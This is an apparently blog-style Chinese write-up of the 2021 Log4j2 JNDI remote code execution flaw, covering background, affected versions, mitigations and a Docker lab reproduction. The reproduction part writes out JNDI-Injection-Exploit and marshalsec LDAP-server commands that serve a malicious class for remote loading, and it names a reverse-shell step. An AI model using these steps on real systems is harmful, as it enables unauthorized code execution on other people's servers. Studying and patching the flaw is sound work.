Apache Log4j2 远程代码执行漏洞
漏洞背景
log4j2是apache实现的一个开源日志组件。2021年12月9日Apache Log4j 2被披露出存在严重的远程代码执行漏洞。
该日志框架被大量用于业务系统开发,用来记录日志信息。此次漏洞触发条件为只要外部用户输入的数据会被日志记录,即可造成远程代码执行。
log4j2属于第三方组件库,被大量Java框架应用使用,即Apache Struts2、Apache Solr、Apache Druid、Apache Flink、Apache Dubbo、Apache Kafka、Spring-boot-starter-log4j2等应用均受影响。
2021年12月10日,国家信息安全漏洞共享平台(CNVD)收录了Apache Log4j2 远程代码执行漏洞(CNVD-2021-95914)。攻击者利用该漏洞,可在未授权的情况下远程执行代码。目前,漏洞利用细节已公开,Apache官方已发布补丁修复该漏洞。CNVD建议受影响用户立即更新至最新版本,同时采取防范性措施避免漏洞攻击威胁。
Apache Log4j是一个基于Java的日志记录组件。Apache Log4j2是Log4j的升级版本,通过重写Log4j引入了丰富的功能特性。该日志组件被广泛应用于业务系统开发,用以记录程序输入输出日志信息。
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2 远程代码执行漏洞。由于Log4j2 组件在处理程序日志记录时存在JNDI 注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2 组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。
CNVD 对该漏洞的综合评级为“高危”。
影响版本
Apache Log4j 2.x <= 2.14.1
jdk版本
我这里181版本只需要设置System.setProperty(“com.sun.jndi.rmi.object.trustURLCodebase”, “true”);就可以被攻击。如果大于等于191版本设置不同,甚至你后面的注入触发不了。
有兴趣的可以看:
修复建议
1、 排查Java应用是否引入 log4j-api , log4j-core 两个jar,及/Apache Solr/Apache Flink/Apache Druid/Apache Dubbo/srping-boot-strater-log4j2等应用和组件,请及时检查所有相关应用升级到最新版本。官方补丁 https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1
2、 紧急缓解措施:
(1) 修改jvm参数 -Dlog4j2.formatMsgNoLookups=true
(2) 修改配置log4j2.formatMsgNoLookups=True
(3) 将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true
官方链接:
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1
log4j-2.15.0-rc1 为安全版本。
漏洞复现
启动环境
sudo docker pull vulfocus/log4j2-rce-2021-12-09:latest
sudo docker run -d -p 8101:8080 vulfocus/log4j2-rce-2021-12-09:latest
漏洞复现
由于该RCE漏洞,在目标环境中是没有回显,借助DNSlog平台,利用DNS解析验证漏洞的存在性。
http://www.dnslog.cn/ https://log.咕.com/
抓包,改包。
- DNSLog 平台收到解析记录。
深度利用
- 启动一个LDAP或RMI服务。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C[cmd] -A[IP]
- 执行反弹shell
marshalsec复现
source: log4j-2.14.1
1:编译恶意class 并开启监听:python3 -m http.server 8888
2:开启LDAP:
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit
3: 调用log4j
#漏洞分析
参考链接
https://issues.apache.org/jira/projects/LOG4J2/issues/LOG4J2-3201?filter=allissues